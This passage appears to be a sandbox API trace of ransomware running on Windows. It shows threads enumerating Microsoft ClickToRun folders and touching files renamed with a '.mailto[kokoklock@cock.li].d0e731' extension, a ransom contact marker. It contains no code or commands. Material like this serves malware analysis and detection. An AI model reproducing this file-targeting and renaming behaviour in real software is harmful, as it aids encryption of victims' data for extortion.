users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305dfe8) returned 1 [0176.439] RtlExitUserThread (Status=0x0) Thread: id = 2523 os_tid = 0x1144 [0176.441] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.441] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29d0) returned 1 [0176.441] RtlExitUserThread (Status=0x0) Thread: id = 2524 os_tid = 0x1148 [0176.442] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.444] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.445] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.445] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.445] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe23b8) returned 1 [0176.445] RtlExitUserThread (Status=0x0) Thread: id = 2525 os_tid = 0x114c [0176.446] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.448] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.448] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.448] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e100) returned 1 [0176.448] RtlExitUserThread (Status=0x0) Thread: id = 2526 os_tid = 0x1150 [0176.449] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.450] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.450] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.450] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.451] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0176.451] RtlExitUserThread (Status=0x0) Thread: id = 2527 os_tid = 0x1154 [0176.452] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.453] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.453] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.453] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2010) returned 1 [0176.453] RtlExitUserThread (Status=0x0) Thread: id = 2528 os_tid = 0x1158 [0176.454] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.454] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.455] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.455] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e218) returned 1 [0176.455] RtlExitUserThread (Status=0x0) Thread: id = 2529 os_tid = 0x115c [0176.456] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.468] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.468] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2b08) returned 1 [0176.468] RtlExitUserThread (Status=0x0) Thread: id = 2530 os_tid = 0x1160 [0176.470] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.471] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ed8) returned 1 [0176.471] RtlExitUserThread (Status=0x0) Thread: id = 2531 os_tid = 0x1164 [0176.472] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.473] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.473] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.473] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.473] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e330) returned 1 [0176.473] RtlExitUserThread (Status=0x0) Thread: id = 2532 os_tid = 0x1168 [0176.474] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.475] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.475] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fd8) returned 1 [0176.475] RtlExitUserThread (Status=0x0) Thread: id = 2533 os_tid = 0x116c [0176.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6de70 [0176.476] wcscpy (in: _Dest=0x2f6de70, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" [0176.476] wcscat (in: _Dest=0x2f6de70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\" [0176.476] wcscat (in: _Dest=0x2f6de70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" [0176.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023a60 [0176.476] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0176.476] wcscmp (_String1=".", _String2=".") returned 0 [0176.476] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.476] wcscmp (_String1="..", _String2=".") returned 1 [0176.477] wcscmp (_String1="..", _String2="..") returned 0 [0176.477] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0176.477] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0176.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023a60) returned 1 [0176.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6de70) returned 1 [0176.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee240) returned 1 [0176.477] RtlExitUserThread (Status=0x0) Thread: id = 2534 os_tid = 0x1170 [0176.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcf300 [0176.478] wcscpy (in: _Dest=0x2fcf300, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0176.478] wcscat (in: _Dest=0x2fcf300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\" [0176.478] wcscat (in: _Dest=0x2fcf300, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" [0176.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023a60 [0176.478] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe20 [0176.478] wcscmp (_String1=".", _String2=".") returned 0 [0176.478] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.479] wcscmp (_String1="..", _String2=".") returned 1 [0176.479] wcscmp (_String1="..", _String2="..") returned 0 [0176.479] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0176.479] wcscmp (_String1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", _String2=".") returned 1 [0176.479] wcscmp (_String1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", _String2="..") returned 1 [0176.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f973d8 [0176.479] wcscpy (in: _Dest=0x2f973d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0176.479] wcscat (in: _Dest=0x2f973d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\" [0176.479] wcscat (in: _Dest=0x2f973d8, _Source="{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0176.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f973d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0176.642] FindNextFileW (in: hFindFile=0x2f7fe20, lpFindFileData=0x3023a60 | out: lpFindFileData=0x3023a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0176.642] FindClose (in: hFindFile=0x2f7fe20 | out: hFindFile=0x2f7fe20) returned 1 [0176.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023a60) returned 1 [0176.643] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf300) returned 1 [0176.643] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf8f0) returned 1 [0176.643] RtlExitUserThread (Status=0x0) Thread: id = 2535 os_tid = 0x1174 [0176.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff0cb0 [0176.479] wcscpy (in: _Dest=0x2ff0cb0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" [0176.479] wcscat (in: _Dest=0x2ff0cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\Users\\All 